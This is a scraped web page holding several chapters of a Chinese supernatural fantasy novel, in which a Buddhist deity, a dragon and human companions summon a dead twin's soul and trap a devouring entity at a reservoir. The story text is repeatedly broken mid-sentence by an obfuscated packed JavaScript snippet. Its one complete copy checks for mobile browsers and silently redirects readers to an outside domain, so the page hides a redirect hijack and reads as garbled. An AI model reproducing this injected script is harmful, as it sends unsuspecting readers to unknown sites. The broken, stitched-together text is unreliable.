随着罗爱曜与庄理安的脚步,众人发现原本坚硬平滑的地面微微泛起涟漪波动,像是踩在水上,可他们踩住的质感又是全然地面的。在这般黑暗的环境中,地面如波浪的微光显得更为分明,甚至像是踩在了烛浪之上。二人逐渐远去,但随着身形的缩小,远处高耸的立柱忽然显像,有金、银、玉、灯的四种光亮的质感,辉煌如金,熠熠如银,莹润如玉,缤纷如灯。此柱似轻又似重,流苏结构无风自摇,可柱体岿然不动。 郎放跟在二人身后,独自踩在如水的地面上,他的动作则令人更加不安。 不知道是不是施霜景的错觉,他忽然能看见水面底下有灰白色的影子,游荡飘曳,似魂似魄。郎放的手里出现了一捆红线,以郎放为中心,红线四射地没入水中,勾住灰影。郎放愈往前走,红线愈多,勾住的游魂也就愈多。等他走到庄理安身旁时,手中已是粗粗一枚线球,像是有一千个、一万个游魂被强行聚集在一起,这些游魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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高耸的金玉幡幢狂乱地摆动,其光耀也一同失控地漫射。施霜景只见过最最简陋的魂幡,那些人死后家属手中提着的白幡,几根白须恨不得是人手撕开来的。罗爱曜的玉幢至少高达三十米,他们所在的是罗爱曜自出生以来就未曾示人的、独属于他的佛子宝殿。其面积多少、挑高多高,完全是未知。玉幢顶天立地,却也没有真的支上宝殿的最顶端。一切都还沉陷在漆黑之中,竟然有某种荒芜的萧索之意。 咒声渐强,此时如水的地面下有一抹浓重的暗影扫过。比起金玉幡幢和庄理安所在之处,唯一跪坐的庄晓反而最是令人担忧。 他们都眼戴色布,可都能看清此处到底发生了什么。庄晓如一叶孤舟,低头望水。 庄晓想,这是他要付出的代价。他必须直视这一切,犹如直视他浪费的所有人生。不论发生什么,这都是他唯一的机会了。 *出自《成实论》卷第三·有中阴品第二十四。 82.旧日幸存者篇(三十四) 地面下的漆黑深水荡起异常的水波,并非如风吹过钩起的涟漪,或孤魂经受拖拽所带出的杂乱水迹。水的内部摆荡起混乱的漩涡,顺时针几圈之后又逆时针几圈,这样不规律的漩涡呈现出来就是直入地心的坠落,漩涡不成型,可深渊已成型了,只是不稳定。 庄晓就跪坐在这混乱口、漩涡口的最中央,这样可以低头凝视的机会绝无仅有。 他们每个人眼睛上的色布各有讲究。佛子宝殿色杂成空,如他本尊的琉璃法身一般不可直视,寻常的眼睛见了有极大的危险,就算不是寻常人类,例如蒋良霖这样的龙和郎放这样的孽镜台、沃燋石转世,也应当避免与佛子的本体设置打直接的照面。 绸布颜色是身份的指代。蓝色是佛子特许,红色是沃燋石显现,玄色是龙,明黄色则是纪复森本体眼睛的颜色——用庄晓的话说,其实应该是脓黄色——这里指的是异教徒。因此只有庄晓与庄理安需要虔诚、需要跪。 玉幢下的庄理安原本一副迷惘模样,可手中捧着红线球,借助这些枉死信徒的中阴身,庄理安的阿赖耶识蠢蠢欲动,大概是饕餮的瘾犯了,当下就有阿赖耶识要脱体的征兆。罗爱曜终于抓住机会,识别出庄理安这异于常界生物的阿赖耶识——如果说这些善的恶的寻常人类、动物、生灵的阿赖耶识是梳理得非常清晰的白色,那庄理安的阿赖耶识则像是爬满了霉点的斑驳杂色,一团又一团的、小丛的混乱点缀其中,可剩下的部分又在勉强遵循着秩序。 庄理安的阿赖耶识绝不可被形容成污浊。它生来如此,纯白与斑驳永远相争。庄理安尽力了。 罗爱曜无法改变庄理安的阿赖耶识之性质。阿赖耶识是个体、生灵诸法修行的种子,是天性。但罗爱曜愿意替他固定住他的阿赖耶识,这一异常的第八识既然已经存在,就不要消散了。罗爱曜微微俯身,双手按在庄理安颈侧,像是替他压住即将脱体的阿赖耶识,留在头中、脑中、躯干中。咒声更清晰、更具有实在性。罗爱曜直直望向庄晓的位置。 双胞胎多为共业,其阿赖耶识也是一分为二,虽各自成长,但具有同一根本。如今罗爱曜借庄理安的阿赖耶识来引他哥哥的阿赖耶识,这真是史无前例的。罗爱曜压根就不知道庄理安哥哥的阿赖耶识是否还存在,甚至连引魂时可以使用的名字都没有。 庄晓曾说:“已经死了,就不要起名字了,这样还能少伤心一点。”说完,庄晓沉郁寡欢,被人突然问起死去的大儿子的姓名,即便有理由不起名,内疚感还是在凌迟他。所以,“不知道现在才起会不会太迟,我没什么文化和灵感。叫‘庄乐’?我看过一套童书,主角是一对小孩,女孩叫苏菲,男孩叫庄乐。我不知道。给他起名像自欺欺人一样。我不知道。我不知道他会不会觉得这个名字太敷衍了,还是不要用这个名字了吧?” 一声凄厉尖叫撕裂庄严法会。 庄晓听见了,施霜景也听见了,剩下其他人却没听见。施霜景几乎听得耳朵流血,人一下子就站不住了。庄晓身形一歪,险些从蒲团上摔下去。看来这尖叫只对人类有影响,其他人甚至还不知道发生了什么。 施霜景堪堪站住,别人只是见到两个人类受了动摇的模样,蒋念琅一脸关切地问施霜景到底发生了什么,可施霜景听不见,他做了个自己听不见的手势,尝试说话,可他发出的声音不论是自己还是其他人都听不见。庄晓更严重,他躬下身来,竟然是要解他眼睛上的罩布,只是他的手指肌肉在不规律颤动,他没办法很好地控制自己的手。施霜景按捺住自己制止庄晓的冲动,他以为其他人会注意到并帮忙,但他等了两秒,并不是。 蒋念琅和蒋良霖的动作几乎是瞬间静止了,而远处的郎放、庄理安和罗爱曜忽然化作朦胧虚影。施霜景松开蒋念琅的手,跑向庄晓,抓住他即将解开黄绸布的手,并努力将他眼睛上的布重新捆好。 “他来了……他来了……”庄晓机械地重复这三个字。 再过几秒,不知来处的尖叫声又响起,像是往施霜景的后脑勺打闷棍,胃里翻江倒海,欲作呕。庄晓的手又不听使唤了,施霜景紧紧地抱住他,同时他竟然感觉到自己后脑勺毛毛的,好像有什么东西在他身后,甚至离他的头非常近。 某种濡湿的质感,黏腻的、冰凉的、渗透的质感,从施霜景的后脑到脖颈,再到后背,浸透了衣物,贴在皮肤上。可施霜景的身体很烫,他身上抄满了佛子诫文,两相接触,他浑身的诫文被强烈地唤醒了,金色陀罗尼如贴身之被。施霜景至多就只能做到这一地步了,他像是赤脚踩在湖中央,蒲团之下的黑水比海还恐怖,施霜景也害怕啊,他甚至觉得,这些东西就是故意要朝着脆弱无力的人类下手,挑软柿子捏。 在这一次尖叫止息与下一次尖叫来临之前的空隙里,施霜景忽然忆起了佛子密咒,也就是罗爱曜教他的召唤佛子的真言密咒。上一次被纪复森报复也是这样的情形,佛子明明已经到了,可他进不来。法器是佛子现身的前奏,法器可以抵御一阵子,然后要诵持佛子咒。是的,是这个顺序。 施霜景随身携带了那把残剑,他空出一手,在书包里找,很快就摸到了残剑的断面,忽然一下被割破了手。施霜景完全没发现,反正是找到了法器,然后诵咒。施霜景仿佛能感觉黑暗中的怪物正提气并酝酿下一次尖叫,施霜景忆持佛子咒的动作如此流利,难得做了一回好学生。 黑暗的吐息忽然被人扼住。紧接着,一根尖柱猛然刺穿其发声的部位,被引来的黑水中的秽物整个随着尖柱的移动而向上拔起,其混沌、狰狞、扭曲的肢体犹如根系,与黑暗密不可分。 施霜景完全不知道身后发生了什么事。他只能一直念。他发现他愈是念咒,怀里的庄晓就愈发平静下来,不再挣扎。直到罗爱曜和庄理安的身影终于从朦胧虚影定格为清晰的人形,罗爱曜牵着男孩从玉幢处走来。 罗爱曜将庄理安送还给庄晓,庄理安紧抱庄晓,不让庄晓回头,罗爱曜则是牵走了施霜景,手遮住他的眼睛,不要他看究竟发生了什么。两个人不用说话,所有的交流都在心中完成。 罗爱曜:“我来了,你不用念了。” 施霜景:“为什么你就在面前还会发生这种事?” 罗爱曜:“这是它们的天赋,把我们隔开。” 施霜景:“你在拿我们人类当诱饵吗?” 罗爱曜:“……” 施霜景:“怎么不回答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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施霜景满脑子就这个想法。 罗爱曜很清晰地感觉到施霜景发火了。罗爱曜一直没忘,施霜景是个情绪激动时更容易受怒火支配的人,就像他第一次进施霜景的春梦,施霜景急了会对他的佛像身拳打脚踢。施霜景总是持有一种最朴素的正义观,用不着任何人来提醒他什么是正义,说了他也不一定会听。 罗爱曜:“这不是它想要的形态,它很痛苦。我会尝试帮它凝聚阿赖耶识,它和庄理安都不坏——都在努力不变坏。” 施霜景:“我刚才是在帮忙还是在帮倒忙?” 罗爱曜:“帮忙。” 施霜景:“接下来我要做什么?” 罗爱曜很想说,接下来你需要做的只有冷静。但他没有这么说。 罗爱曜:“你跟着我。” 不用罗爱曜明说,施霜景知道,这是罗爱曜要拴住他的意思。施霜景不知道他在愤怒个什么劲,他只觉得这一切都太可笑了。两个月前,他会为这种壮举鼓掌。两个月后,他找不准自己的位置。施霜景认为罗爱曜也找不准施霜景的位置。 之前完全隐匿于黑暗中的宝殿终于缓缓显形,辉煌的金银玉宝都罩上一层暗光,朱红殿柱,金丝楠木梁足足七层,说是宝殿,更似巨塔,观察内部构造就会发现其并非一般的方殿,而是八面相围,为特殊的莲座型,从未有人修过这样的佛门宝殿。地上的黑水褪去,坚实地面重现,污秽邪祟的无名之子消失,取而代之挂在宝殿梁柱上的是一副明蓝拓印。 这样就好多了。 83.旧日幸存者篇(三十五) 说是施霜景跟着罗爱曜,实际是罗爱曜牵住施霜景,力气极大,不容挣脱。 明蓝色拓印长十米、宽四米,工艺了得,任何恐怖的场景定格成平面就会削减其恐怖的威力。赤红怪物只在明蓝底色上留下印痕,喉咙的穿刺呈贝母白色。拓印边缘有黑色缓慢爬上,又被明净的力量抵消,呈现一种相互牵制的波浪般的力。 比起这拓印,还是宝殿本身更令人头晕目眩,繁杂缤纷,无落眼处,宝殿殿顶极高,因只供奉佛子一尊佛,只一个宏丽绚烂的穹庐状藻井高悬。佛子的密教塑像盖着祭蓝色陀罗尼被,只见其多手、端坐的特征,根据陀罗尼被覆盖的形状,可判断佛子像应该也有多头。佛像后立着线条肆意的日轮与月轮,日月轮后似乎有窗,难以形容的光亮隐隐约约地射进来,构成佛像所沐浴的真实光晕。 宝殿内极其空旷,就算装下佛子像和庄晓之子的拓印,也还是空旷。人类在殿中央,庄理安痴痴望着巨幅拓印,庄晓的眼泪打湿色布,没有转身。 即便场景庄严,即便拓印是更容易接受的方式,这仍是残忍。最残忍的不是召来祂的殿内众人,只是纪复森而已。祂吞吃了自己的孩子,仿佛长成连体的血肉,倒还不如给小孩一个痛快。如果庄乐有得选——有名字比没名字好——如果祂有得选,祂不会愿意以这幅形象出现在庄晓面前。祂要是有神智,必然会知道庄晓难以接受祂的这幅样貌。哪个孩子想被家人拒绝呢?光是想到这种种,施霜景无比伤感。 “我要走了。似乎真的有‘昆仑’的动静了。”蒋良霖双手叉腰,提气给自己鼓劲,“你处理好这里就来水库,你不能直接在你的宝殿里对付纪复森。” “知道了。谢谢。随时联系。”罗爱曜送蒋良霖离开,低头与蒋念琅这小姑娘面面相觑。 “佛子,你能超度祂吗?”蒋念琅歪头问道。 “应该不能。” “有阿赖耶识的话就可以吧?” “太微弱了。” 是的。当庄乐抵达此处,罗爱曜马上就意识到,它和庄理安到底还是不同。不知道是不是庄理安和庄晓待久了,他对这一入世的形态接受度良好。阿赖耶识难以在完全不相容的环境里发展起来,也就是说,现在的庄乐可能更倾向于某种“无情物”,此世的属性已是非常弱了。 红线球滚落在地,庄理安重新捡起,他捧着红线球往明蓝拓印处走去。罗爱曜不觉得不妥,反倒是庄晓有很大的反应,他马上就从蒲团站起,因双腿麻木而跑姿丑陋,但还是快跑了几步追上了庄理安。在这一过程里,庄晓终于看见这拓印。 很奇异地,这一瞬间,整个世界都消声了,某种情感的真空状态。没有破灭,也没有悲恸。 庄晓只觉得这好陌生。他见过纪复森的本体,一种邪恶、奇异却体面的不可名状之形。和纪复森的本体相比,庄乐的本体太狼狈,狼狈到凸显出了祂的人类血统,人类就是这样,血肉模糊的,残躯断肢的。也没有心疼的感觉。只剩对事实的感慨:祂长大了。 这与庄晓认知的纪复森吃神有出入。 罗爱曜计划使用庄理安的阿赖耶识召唤出他双胞胎兄弟的阿赖耶识,为此罗爱曜和蒋良霖、郎放做了十分周密的计划。他们推想过多种可能,有一次解决的可能性,也有拖成漫长的报复的可能性。和纪复森冤冤相报何时了,愈想愈发觉他的可怕,招惹上纪复森就意味着永久遭受它的窥视。 庄晓蹲下来抱住庄理安,不让他再往前,庄晓仰头凝视巨幅拓印,百思不得其解:“我想不明白……祂为什么是这样?祂从哪里来?纪复森的身体上吗?纪复森的身体没有人的特征,没有血肉的特征。难道纪复森在养祂……不可能。不可能!不可能……不会的……” 明蓝拓印里到底是如此污秽邪狞的存在,光直视就会令人的精神悬于一线。庄晓又要疯了,大脑飞速运转,过多的细节塞进他脑中,记忆冲垮他。 宝殿突然暗下,漆黑阴影乍现。一闪。宝殿恢复原状,刚才的漆黑只是错觉。再一闪,宝殿荡然无存,风灌入昏黑空间,发出狰狞呼啸之声,如此招摇。然日月轮齐现,宝殿巍然。 这不是庄晓一人的幻觉。施霜景也同样目睹这场景切换。罗爱曜牵住他的手越握越紧,到发痛地步。 在这控制权的争夺过程中,罗爱曜既兴奋又焦虑。兴奋在于,他知道纪复森真的来了——在他们推想的可能性中,纪复森真的来到此处的概率并不算大。焦虑在于,纪复森的存在时间长于罗爱曜几倍,甚至长于蒋良霖的前前世,也就是巨龙烛九阴。罗爱曜此时说是自信就太狂妄了,木已成舟,只能做下去。 郎放抱住蒋念琅,低声嘱咐她,可惜听不真切。只见庄理安手中的红线球开始溃散,绒线的细丝蔓延、生长,被巨幅明蓝拓印吸去。渐渐地,庄理安的五官也模糊了。红色细丝如云如雨,更如血如雾,拓印的怪形有了活动的迹象。此刻庄晓忽然崩溃,发现了庄理安的异常,可庄理安的五官、躯体像是正在汽化,一种被吸收的危险。 正在这一时刻,场景再次切换,他们所在的殿中央也像是舞台的中央,只剩一束顶光,光明的作用是为了让黑暗更为猖狂。庄理安手中的红线球瞬间收紧,一股撕拉的力在黑暗与光明的分野处显形,庄理安的眼睛褪成金色,红线球的颜色亦是褪成金色,线渐渐透明了,硬化成某种球形的外壳。 庄理安将金球塞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小安说他的本体在这里是几近全盲的状态,但它早就准备好了容纳一只眼睛的地方……我以为纪复森是想要再找人类繁殖,不是,祂知道几年后祂会降临此处。那只眼睛……祂现在正在哪里看着我们呢?祂放弃了更多的视力,只为了现在能全方位地观察我的丑态。祂知道我现在会在这里。宝殿没有意义。不该让佛子他们召唤什么东西来的……完了,完了完了完了……这完全是引狼入室……” 庄理安嗅了嗅空气,转头看向施霜景的手。他的左手刚刚被残剑割破,食指横贯一道伤,施霜景此刻才随着庄理安的视线发现自己受伤。正当此时,蒋念琅抚平施霜景的伤口,用强硬的视线看回庄理安。 施霜景的情绪非常淡漠。他不觉得害怕,也不觉得紧急。美轮美奂的藻井高悬,蓝色陀罗尼被下的佛像静谧。不知道为什么,施霜景的心正在迅速地清空,杂质都倾倒出去,只剩余一个澄明的容器。他说不上相信谁、不相信谁。他只觉得运气好像如风云汇聚,这是一场预知答案的豪赌。天时地利与人和,事件发生在励光厂自有它的原因。 84.旧日幸存者篇(三十六) 净光流动,内外明彻。 庄晓说的“风洞”,就是当初罗爱曜在家发现的那个“风洞”,往里投了成百上千枚莲花法器,被纪复森报复,回旋镖经蜿蜒的风洞,差点割了施霜景的喉。施霜景下意识抚摸颈侧,但仍是毫无恐惧。 “你们会不会对我太不尊重了?”施霜景冷声道,“郎放,庄晓,你们是不是都知道佛子接下来打算做什么?为什么我就不能知道?” 郎放看向施霜景的眼神很幽深,他沉声说:“他的态度很微妙。我们昨晚确定了最终的计划,他原本应该直接告诉你结论的,但我不知道他为什么最终没说。实话讲,我对佛子还是有忌惮,他不说……” “你觉得我就知道吗?!”庄晓打断郎放,他怀抱着金球站立起来,“佛子他自己难道就清楚这危险性吗!看来纪复森已经进来了!我不知道这宝殿到底是个什么构造,但既然纪复森能开出风洞,对应上盲眼的限制条件……我不知道纪复森献祭了什么。我会告诉你纪复森是个什么东西。” 他们现在都在战局之外。这一战斗真的开始了吗?宝殿阒然,无从得知。 “你见过那些天国的画像吗?密密的云层中间要么是阶梯,要么是拥着天父……你有注意过那些云层吗?你会觉得那些云层上真的有神吗?那个神……真的是天父吗?纪复森是海市蜃楼,是台风眼,周围是密集的云团……纪复森的本体非常得体,比起祂制造的那些混乱,比起祂制造出来的东西,祂的本体,螺旋状的,像海螺的剖面,外旋一圈一圈地缠绕、抵达核心,一种收敛的形态。祂会隐藏在任何地方并休憩,可祂更喜欢栖息在交界处,祂享受这种不属于旧神也不属于外神的感觉,游刃有余的狩猎者。” 庄晓之前从来不向他人解释纪复森的本体形象,回忆祂是比直面祂更痛苦的一件事,像一块不可被惊醒的烂疮、虫穴,在普通的场合中随意地回忆纪复森本体,会让庄晓平白无故地疯掉。他也仅仅是在逃出纪复森控制的那一回直面过纪复森的本体。 他亦知道自己对纪复森的叙述太过混乱,这真是毫无办法,人类的大脑至多就加工到这一水平,模糊是保护的手段。 “我不管那座宫殿是纪复森的还是祂偷来的,纪复森已经把它玩成了自己的东西。你们能理解我的说法吗?纪复森把东西和人全部堆在祂的宫殿里,所谓藏品,而且这宫殿有真有假,它有假的——假的,但真实存在。你们知道我在说的是什么样的宫殿吗?上面部分,下面部分——我想起来了,你们说的,沙漏。上面部分,下面部分,时假时真,纪复森会将真假的东西调换、打乱,人也是……有时祂甚至玩弄亡魂,死人和活人,让它们相遇……就是祂在宫殿里设置的‘旧城’,我的意思是,这一装置内的空间对我们人类来说是无限大,因为我们理解不了它的构造。纪复森待在哪里?祂待在海市蜃楼里。祂,祂栖息在那些真和假的缝隙中……我只遇见过一次,祂将一切归位、整理清楚,像一层密云,螺旋地环绕着两个倒三角的角尖,沙漏正中最脆弱的地方……我就是在那次逃出来的。它吞噬的方式,有时是狡猾的寄生,从内部一点点将对方替换;有时是直截了当的吞食,用强大的向心力、涡流……旋转压缩的力场……不只是物理层面,祂的力量我总是不能完全交代清楚。”庄晓意识到这次的情形就与他所描述的第一种吞食类型相似,难道说纪复森已经替换了,这些人是真实的吗?这些存在真的是它们“本身”吗?这一切真的是真实的吗?想到这里,庄晓感觉自己的大脑压力陡然增高,大脑的组织要从眼眶、鼻腔、嘴里压出来了,他的头非常非常痛,理智的防线脆化,只差最后一点压力就全线崩溃。 施霜景听不懂。施霜景真的听不懂,但他能区分庄晓所描述的恐怖似乎并没有在他眼前发生。那种含混不清的、混沌化一切的烂泥一样的质感,与尖锐凌厉、极繁又极细致的规则有天壤之别。 施霜景甚至打断了庄晓,“你不要说了,我们只能处理现在的事情。你有逃离的经验,这就够了。你担心的是纪复森事先安置的那什么‘风洞’是吗?那我们就找到这个风洞,堵上它,这样我们就会安全,是不是?” 郎放忧心忡忡,按他们的计划,郎放是不应该也在宝殿中的,佛子临时变卦了。是佛子对他和蒋良霖二人合作的能力太有自信,还是佛子对宝殿的功能不太有自信?估计是二者都有。 大人神色凝重,小孩却有小孩的方法。刚才郎放就是为了嘱托蒋念琅,这才被同时隔进宝殿里。 蒋念琅于一种玄妙的层面不喜欢庄理安这个同龄“人”,三魂七魄不舒服,可她又觉得庄理安呆呆的,是个爸宝孩。单单只提“关爱家人”这一理由的话,蒋念琅似乎可以理解庄理安。是的,在蒋念琅看来,有时哪里是大人保护小孩,明明是小孩保护大人。蒋念琅日前无法理解到这层,可她感觉到这与他们是否有特殊的能力无关,而是小孩比大人自己更希望大人变好。 “我不信佛子说的话。不是不能‘超度’。”蒋念琅断言,“超度到底是什么意思?是让死人变得舒服吗?我明明可以让山洞里的圣母变成清水。” 她愈是这么说,郎放愈是不知道,自己究竟应该让蒋念琅离庄家人近一点还是远一点。她万一把庄理安也变成“清水”怎么办? 可惜他们留在宝殿里的所有人都是无组织无计划的随机应变人士。施霜景第一个迈出脚步,在宝殿中巡弋。最大不敬的就是他了,他一路伸手抚过那些殿柱、殿门,宝殿高度几近于塔,上层却并没有可供人行走或站立的结构,槛窗一层层叠高上去,不知道宝殿究竟置于何处,一些槛窗透光,一些槛窗漆黑。莲型八方宝殿,佛子的设计一定有用意。施霜景猜得极其心烦,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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书包随地一扔,单打独斗,或是群殴,初中打架,高中打架,高中打得少了,因为施霜景长得高,身体又结实,人总是欺软怕硬的,初中身体没有抽条时就打出了战绩,高中就可以过安生日子。要知道像他这样的孤儿,在高中班上受到的不是霸凌的无视,而是忌惮的无视,这背后当然要付出血与汗。施霜景初中打架,偶尔几次还有福利院的其他男孩帮忙,别的孩子会骂他们是野狗,毕竟福利院那时才来励光厂没几年,大家都对集群的孤儿有偏见。他受伤了,回到孤儿院会被白院长臭骂,但刘茜会带他去医院,不赞成也不否定。施霜景适应这个社会的方式不健康,太封闭,但不论是刘茜还是施霜景都尽力了。暴力和文明的交替没有预兆,施霜景只能两边都学。 吞噬者擅长腐蚀当前空间,无声无息,一举拿下。此前宝殿与黑暗场景的无序切换,恰恰证明了纪复森遇上罗爱曜并不那么自如。 黑暗中有两种狩猎模式,两种无形无相。到底谁更像深渊? 说纪复森来找庄晓,这不完全准确。纪复森设计狩猎往往虚实相间,久了就连祂都不清楚也不愿意清楚自己的真实意图。罗爱曜,即便在纪复森的世界观里也算得上怪咖。说纪复森无声无息,难道罗爱曜就不是吗? 在非线性的时间与命运中,纪复森在某一刻观测到了线之断裂。几年前?六年?七年?不止,大约是十年上下的范围。时间的概念突然高亮。纪复森从前活在时间里,时间就是空间,时间就是栖息地。从那时起,纪复森的行事作风不得不变化。庄晓,双胞胎,戏耍真情,逃亡寻觅。纪复森的机械动作。纪复森被永远地隔离在了“理解”这个词之外。像祂这样的生物,生来是对“混沌”的补充。然而混沌与混乱是两码事。纪复森不知道。祂不是好学的东西。祂是反应性的。 死寂黑暗中,有一种隐秘的无声之声依托虚无的真空传递出来,就连最抽象的存在也无法理解,只能感受。黑暗之中好像有声音在说:“我来抓你了。” 85.旧日幸存者篇(三十七) 玄黑鳞片碾过水底暗石,沙尘于黑水中翻滚。寻好埋伏之地,卧龙潜渊。 D市连日雨,为的就是水库暴涨,将破未破。紫坪铺水库拉了泄洪警报,所有人都提心吊胆地观望着降雨量和水库水位,冬季泄洪可不是开玩笑的。不过水库底有巨龙在此,这众多的水总有可以消耗的地方,不会为下游造成实际性威胁。今日已无大雨,只是空气潮湿。 比起大海,水库不论水量还是水面积都太微缩。蒋良霖说来是龙,但比起女儿蒋念琅,他对做龙这件事岂止是没天分。蒋念琅的“龙气”形态才是蒋良霖的常态,而蒋良霖要将这些龙气汇聚成龙形,需要非常大的意志能量才能重塑筋骨,这就是他所说的“读条”。蒋念琅的龙形可以变大变小变漂亮,可蒋良霖的龙形不行。说好听了是龙身威仪,说不好听了是胖龙一条。 岸边冬雨朦胧,雨丝如烟。一位穿着冲锋衣的中年女人站在岸边,面色凝重,遥望水库平静的水面。她名为杨慧,上次蒋良霖打电话问她昆仑一事,可不就是借了那通电话把她摇来了。她等不及蒋良霖去B市和她面谈。杨慧,杨回,她是入世千年的西王母,几年前有关蒋良霖的一场纷争,在她看来都不过是常态。可如今事关昆仑,昆仑无小事。 “如果昆仑真的是被偷窃,那它必定经过了改造,否则我不会完全感知不到。”杨慧曾在电话里这样说道。 蒋良霖只问:“你能把昆仑抢回来吗?” 杨慧那时没有给他确切答复。在她的记忆中,昆仑仙山,是家亦是景,黑水蜿蜒向西,昆仑幽浮于黑水之上,世人对昆仑的印象是冰雪般白、冻土般黑,远看巍峨寂寥,近看华美异常。杨慧却只记得昆仑之风,昆仑之气味,昆仑之触感。有时是层级的分布,天墉、琼华、阆风;有时是嵌套宽广的景中景,瑶池外有山外山,山外有弱水一条条。心在昆仑中,家在昆仑外。昆仑自有其结构、体系,被人当做逃脱这一世界的工具,意料之外,情理之中。 秋沙鸭成列划过水面,白腹卧在水面,镜像倒映出相同的结构,如一只只白腹黑翅边的厚身的蝶。雾光闪烁,云层间有永恒的阳光穿透罅隙,先出现的是水面之倒影。秋沙鸭惊羽,扑簌慌逃。 非人与非人之间的交流手段,如心之音。 蒋良霖:“你听我指挥还是我听你指挥?” 杨慧:“我配合你。我会保证你的原型在瑶池里行动自如。” 蒋良霖:“我能感觉到能量正在聚集,它很可能还没完全显形就察觉到我们的埋伏——或者它已经察觉到了,只是不得不来?我不知道。” 杨慧:“水面上的那一半怎么办?” 蒋良霖:“交给佛子。” 山形的类三角巨物以水面为顶点,缓缓往上又往下生长。之前只能被人眨眼之间观测到的沙漏装置,在紫坪铺水库这一特殊场域中被强行延缓了闪现的时间,如慢动作。 庄晓曾告诉他们,纪复森的“飞船”一定会跟随纪复森本体行动。纪复森的人形行动自如,但是本体受限。不是祂不得不受限,而是祂放不下,像孩子走到哪里都要带上祂最爱的玩具,怕别人偷走。如果这玩具是祂偷来的,那这就更好解释了。正是因为祂做过这样的事,所以更怕此事再次出现。 水面雾气中出现风眼,岸边的杨慧后退,隐去身形。云层间的雾光被正在显形的装置所吸聚,天空的色阶被调暗,眼前场景愈来愈不像是人类的世界。周围所有的人类乃至动物生灵都将陷入一种极端的谵妄状态,但上次罗爱曜同蒋良霖来水库时已做好准备,在人群聚集之处做了手脚,当特殊场域开启时,这些影响统统被隔绝。 须臾之间,一座巨型三角倒置在湖面之上——的确呈山形,只是它黯淡、诡谲,怪异,不见辉光,不见玄风,不见灵元。水下镜像对称,山尖对山尖,风眼于水面上急速地聚集,涡旋狂风吸吹,山树倒向水面方向,屋舍动摇。 杨慧望山落泪,这不是她记忆中的仙山,但的确是昆仑。她的瑶池可为人所用,那昆仑也可以为人所用。昆仑何在?如今已是一座血肉活宫殿,完全被改造过了。 这就是郎放梦见的沙漏装置,罗爱曜恍然观测见,又骤然消逝。 玄龙卧于水库底层,直视昆仑之倒影慢慢形成。这就是庄晓说的“真”与“假”。他原本担心纪复森偷了昆仑又顺带偷走蓬莱,现在看来不是。只有昆仑。对称的结构不是两座仙山,只是真与假相间相生。 真言密咒穿透空间响起,这是行动的信号。玄龙击水,厚重的龙鳞隔绝异神宫殿的精神影响,纵使纪复森的本体试图伸出虚幻的须蔓与玄龙接触,奈何这是一具假躯体——蒋良霖的龙身是概念体,是一种凝练到极致足以具现的能量态。这就是蒋良霖来而不是蒋念琅来的原因。蒋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519611|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念琅是真龙,只有真实的血肉才会受纪复森的摧残。 巨龙霸道地缠绕住水下半山,绕了个结结实实、无可挣脱,以龙啸为信号,水面忽如银镜,刀锋般一闪,强作切割。水面风眼忽然溃散,整片水库从天到空气到水,俱作漆黑。 在这宇宙真空暗物质般的环境里,无尽幻痛,无尽失落,无尽迷茫。不论水下半山有多少真、多少假,它在祂眼皮子底下被偷走了。 祂最害怕的事成真。 罗爱曜曾分析说:“我们通过庄家父子召唤死去双胞胎的阿赖耶识,纪复森不来,那就作罢。纪复森若来,看它怎么来。只有死去的孩子的阿赖耶识,那也就到此为止。我们赌纪复森会一同前来。以它的特质,大概会隔岸观火,寻找弱点趁虚而入。它的本体和‘飞船’——这个说法很可笑,根本没有什么飞船,它逃不掉的,它根本没有打算离开这里——它的本体和昆仑会借水显现,像上次的升仙湖太小、太儿戏,D市其他湖或者江水不够宽阔,最近的就是紫坪铺水库。” 蒋良霖:“我还要借紫坪铺来化形啊。纪复森会不知道?” 罗爱曜:“我会把它逼到紫坪铺水库。” 罗爱曜说到做到。 早在施霜景冲到庄晓身边、制止庄晓摘下眼前色布那一瞬,罗爱曜的法身顺庄乐的来处追踪过去——罗爱曜原本就是这打算。就算庄乐只有阿赖耶识前来,那必有来处。来处只能是纪复森。从那时起,纪复森就已受到罗爱曜的威胁。 罗爱曜在他自己的宝殿内一心多用,看似力不从心,其实是有更重点的目标。罗爱曜投放法器抓不住纪复森,那就罗爱曜用法身亲自来抓。 纪复森最初的确没有选紫坪铺水库,它去了D市内几座小湖,例如兴隆湖、锦城湖,甚至往西去了白塔湖,可每当纪复森想要转移战场,湖面都会因罗爱曜的宝殿显现而失去其性质。像罗爱曜、杨慧这样的非人,最擅长的就是灵活扩大自己的战场,并迁移自己的法器或法场。最终只剩紫坪铺。纪复森有一瞬干脆放弃,只是罗爱曜不放过祂。仿佛不论纪复森停在何处休憩,罗爱曜立刻就会追赶而上。 